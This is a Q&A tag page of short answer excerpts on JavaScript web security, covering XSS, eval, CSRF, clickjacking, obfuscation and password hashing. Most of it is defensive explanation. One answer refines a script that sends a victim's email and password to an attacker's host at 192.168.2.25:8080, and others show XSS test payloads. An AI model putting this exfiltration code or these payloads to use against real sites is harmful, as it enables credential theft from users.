Tag Info

New answers tagged

0

Yes it is vulnerable to DOM based XSS .You can look at this Wikipedia example to learn how can attacker use this vulnerability gain access on victim's browser.


0

By looking at the code, I assume that the user is entering the URL parameter into a form. As @SilverlightFox said, an attacker could enter javascript:alert('xss') in the form, and that would execute the JS, but only in his browser. Since the URL parameter is not part of the URL of the website (either as a GET parameter or somehow else) and is not stored ...


0

Yes, it is vulnerable if document.theform.reference[id].value can be a value controlled by another user. If this value was set to javascript:alert('xss') by an attacker then the line window.location.href = url; would cause the script to be executed in the context of the current domain for whichever user is currently using the site.


0

The other answers are great, but I thought I'd share one additional story I remember -- http://www.zdnet.com/article/strongwebmail-ceos-mail-account-hacked-via-xss/ Lance James and crew found an XSS when facing a challenge brought about by StrongWebMail's CEO (in the style of LifeLock). They were able to successfully win the challenge through the use of the ...


0

As a quick and straightfarward answer, you can look to these famous JS worms achieved by exploiting XSS vulnerabilities: Justin.tv worm The cross-site scripting vulnerability that was exploited was that the "Location" profile field was not properly sanitized before its inclusion in a profile page. Orkut "Bom Sabado" worm Orkut, a social ...


3

The most famous has got to be the Samy worm: Samy (also known as JS.Spacehero) is a XSS worm that was designed to propagate across the MySpace social-networking site written by Samy Kamkar. Within just 20 hours of its October 4, 2005 release, over one million users had run the payload making Samy the fastest spreading virus of all time. The ...


0

Here you are: List of 20 famous websites vunerable to XSS 20 Famous websites vulnerable to Cross Site Scripting (XSS) attack including famous newspapers, federal agencies and the biggest fast food restaurant in the world. Notable attacks in 2011 Basically the same question but answered back in 2011. Also Y! got pwned Popular webmail provider ...


0

The iPhone in its unjailbroken state is a highly secure platform, arguably one of the most secure. For the most part, you can’t get a drive-by download on iOS as easily as on a desktop due to the extremely good sand boxing it utilizes. Ironically, this strong sandbox model is what makes apps sharing data with each other (a perk Android users have enjoyed for ...


1

From the scenarion you describe, she rather has been a victim of a drive-by download attack that leads to installing -in most cases- adware or spyware but this attack can be even more dangerous depending on the malware that has been installed. This attack uses the browser vulnerabilities or the browser's plugins vulnerabilities using mainly malicious ...


-1

First of all, this was some sort of malware, not phishing. Phishing is successful only when you enter your credentials thinking you're on a legitimate site. Go to the Apple Store and install an antivirus for both of your iPhones. (Unfortunately I can't give suggestions here. Avast is the best-rated AV for Android devices; I don't know what is worth for ...


2

There are a number of known vulnerabilities, that have been used, to deanonymize Tor users via leveraging JavaScript. The first major incident where this happened was with the "Freedom Hosting" seizure by the FBI. The FBI kept servers online, and then installed javascript paylods which exploited a zero-day exploit in Firefox. This caused the computers to ...


0

I believe this is to stop "browser fingerprinting". Javascript can get a lot of information, like the order that fonts are installed on a computer, the size of the screen, etc; - there is a good example at https://panopticlick.eff.org/ . If you go to another site bypassing TOR, on the same computer, then the two sites may be able to compare notes, and ...


2

It is not standardized how a web browser saves the data it gets asked to store in localstorage. But it is very unlikely that it will be implemented in a way that it ends up as a valid executable file, and even when it would be, it is unlikely to be a file you or your operating system would ever execute. Security vulnerabilities in the implementation details ...


-6

Tor is suposed to hide yourself, with JS you can get the IP of the computer so that's why


15

I do not know where you got that information but wherever you got it, the official documentation is more reliable: We configure NoScript to allow JavaScript by default in Tor Browser because many websites will not work with JavaScript disabled. If you disable JavaScript by default but then allow a few websites to run scripts (the way most ...


17

What stops a malicious site from obtaining the anti-CSRF token is the Same Origin Policy. The Same Origin Policy, or SOP, is at the browser level, and defines where JavaScript is allowed to communicate. JavaScript on example.com cannot call example.org to get data. Also, JavaScript on http://www.example.com/ cannot call http://www.example.com:8080/ as the ...


0

A fairly comprehensive resource can be found here and here.


2

No, you seem to have a misunderstanding of how encryption and obfuscation work. Encryption provides confidentiality: a message is hidden with a mechanism using a shared secret from all parties not possessing that secret. Obfuscation refers to a number of techniques employed to make, in general, a scripting programming language application difficult to ...


0

What you describe sounds like obfuscation, not encryption. Please do not use "invented" encryption or hashing algorithms (please read this OWASP write-up). If you'd like to use password-driven keys, check out this JavaScript library for key derivation. There are several JavaScript libraries that implement AES (check out this StackOverflow post) and other ...


1

Any time you include script from an external domain you are trusting that domain. e.g. if you site is example.com and you have the following code on your home page <script src="//example.edu/tracking_script.js"></script> then example.com is fully trusting example.edu not to do anything malicious inside tracking_script.js. example.edu will have ...


0

It looks like WebWorkers are not a security feature, but simply a way to run background threads on the client side of the web application. This means they don't protect you from any existing attacks but they may instead introduce new attack vectors :( Of interest in this regard might be the communication between the workers and the main thread: they are ...


5

I think @neil-smithline is right, when I go to the What's my IP address page I don't get asked for my location, but there is a button which says "Location not accurate? Update your IP location" which then does ask for the browsers geolocation. As for how your browser knows your location when you don't have a GPS in your laptop, from the article ...


2

Can any one bypass it? Yes. This can be one with the sandbox attribute. With this attribute execution of Javascript within the iframe can be disabled and thus your frame buster code will not be executed. Also, some clients might have execution of Javascript disabled like when using the NoScript browser extension. For more information see ...


3

You are talking about ClickJacking attacks. (The title was different before my edit) Can any one bypass it? Yes, this can be bypassed when loading the page in an iframe. Unfortunately I do not have the code at the moment. However, what can be done is disable javascript while loading the iframe. This will bypass your frame busting code. (There's no such ...


2

In addition to the great points made here, I would like to clarify: what you are essentially dealing with any time you use eval() is having to answer the following questions: Is it worth securing? How thoroughly can I secure it and is that level acceptable? How confident can I be that it will stay secure over future evolutions of the codebase and ...


1

It depends on context. Which are of basic 5 types: HTML context In the body of an existing HTML tag or at the start and end of the page outside of the tag. <some_html_tag> user_input </some_html_tag> In this context you can enter any kind of valid HTML in the user input and it would immediately be rendered by the browser, its an ...


2

As explained by others, one can use eval to dynamically create code which makes it harder to understand the control flow of the program. But, I don't consider eval much more evil than all the other ways to generate code at run time, like document.write(...), object.innerHTML(...) and others. While these are mostly used to change the DOM of the program they ...


10

eval() is a possible vector for cross-site scripting. Under normal circumstances, an attacker attempting XSS might want to get script <script></script> tags past whatever encoding, filters or firewalls might be in place. If eval() is there operating on user input, it eliminates the need for script tags. Eval is present in many malicious scripts ...


23

eval() executes a string of characters as code. You use eval() precisely because the string contents are not known in advance, or even generated server-side; basically, you need eval() because the JavaScript itself will generate the string from data which is available only dynamically, in the client. Thus, eval() makes sense in situations where the ...


0

I would slightly disagree with @pineapplemans answer. If we use their example code with user input: <?php $phpvar = $_GET['f']; ?> <script> var jsvar; jsvar = "<?php echo $phpvar;?>"; </script> Then the payload \";alert('XSS');// would not execute. This is because the attack string isn't located directly inside the PHP code, so ...


2

By looking at this payload alone, without the rest of the code, it's probably hard to understand it. Let's say there is JS and PHP code in a website: <script> var jsvar; jsvar = "<?php echo $phpvar;?>"; </script> What this code does is it simply assigns a user controlled variable from PHP to the JS variable jsvar. If the PHP variable ...


2

I would make some amends to your script: img = new Image(); img.src = "http://192.168.2.25:8080?" + "email=" + escape(email) + "&" + "password=" + escape(pass); setTimeout('document.forms[0].submit();', 3000); return false; This should send the data to the attacker's page and then submit the form after 3 seconds, once the browser has had chance to ...


6

I think your question is a bit too broad. Session hijacking can be done on different levels, and it's not just copying something between browsers. For example: A malicious network admin / proxy admin could intercept your session ID and re-use this also. A vulnerable website could be exploited using cross site scripting, where an attacker can gain ...


2

Obfuscating in Javascript is usually done by generating the code dynamically. While you find older examples which make extensive use of chr(..) or base64 or lots of string concatenations detection heuristics improved to flag this kind of code as potentially malicious so that the attacked improved their methods. Typical current examples like this are not ...


4

bcrypt is not meant for this type of client-side hashing A key property of bcrypt is that, when run two independent times with the same plaintext, most implementations will produce different hashes. This is due to the use of a salt, which is designed to make it difficult to see if two different users have the same password. In contrast, login forms need to ...


4

Since you seem committed to implement this guideline, I'll directly answer your question. But understand that BCrypt and MD5 are vastly different. BCrypt deliberately does substantial work, while MD5 does considerably less, so you're going to need to deal with promises: <!-- https://github.com/nevins-b/javascript-bcrypt --> <script ...


0

Most Obfuscated JS build a new string and eval(string) if you can override eval (with by example console.log or document.write) this isn't supossed possible in browser but apparently malzilla do it, you should be able to get a more readable version (you will maybe need to do this multiple time on the new output).


22

You have no security without authentication Just to explain it further, I am using JCryption API for encrypting the password using AES, so the value transmitted over network is AES(SHA1(MD5(plain password))) now I want to replace MD5 with Bcrypt only. Rest of the things remain unchanged. This approach works even against "Man in the middle ...


33

I know HTTPS can solve the problem, but I am still instructed to encode the password before sending it over network as per our organizational guidelines. This really defines your situation. Basically, you have a simple solution that you should use anyway (use HTTPS), if only because without HTTPS an active attacker could hijack the connection after the ...


1

There are a few JavaScript deobfuscating services. http://jsbeautifier.org/ gives the best results for your particular script. However even after deobfuscation this scripts contains several binary strings, encoded as text, from which script algorithm tries to pull individual bytes in defined order to create another script. It would require further analysis ...


9

The best solution is: don't. If you're sending the passwords over HTTPS, hashing them provides no additional security. If you're sending the passwords over plain HTTP, an attacker can grab the hashed password and use it to log in themselves; alternatively, they can tamper with the JavaScript to send the password to them before hashing. In either case, ...


10

You're lucky: it's Windows-specific. First, I took the code, and went to jsbeautifier.org to beautify it: var stroke = "5556515E070B0A1005071024120D171005011C140116100D17014A0A0110"; function do193() { return ',"h'; }; function do112() { return ') { '; }; function do127() { return 'r xa'; }; function do88() { return '= 0;'; }; function ...


3

You could use a scanner to guide you, but you need start with secure coding. Use a scanner to test for verification after you have implemented the secure coding concepts. First rule of secure coding is See input as evil. The first step to not trusting input in a web application is to encode (not filter) all user input. So, your input example will be HTML ...


0

This sounds a lot like ad-injection software installed by accident. This could be something like a Chrome extension or something bundled along with a download. Google recently did a study on the matter, and they state that they "received more than 100,000 user complaints about them in Chrome since the beginning of 2015", making this a realistic scenario for ...



Top 50 recent answers are included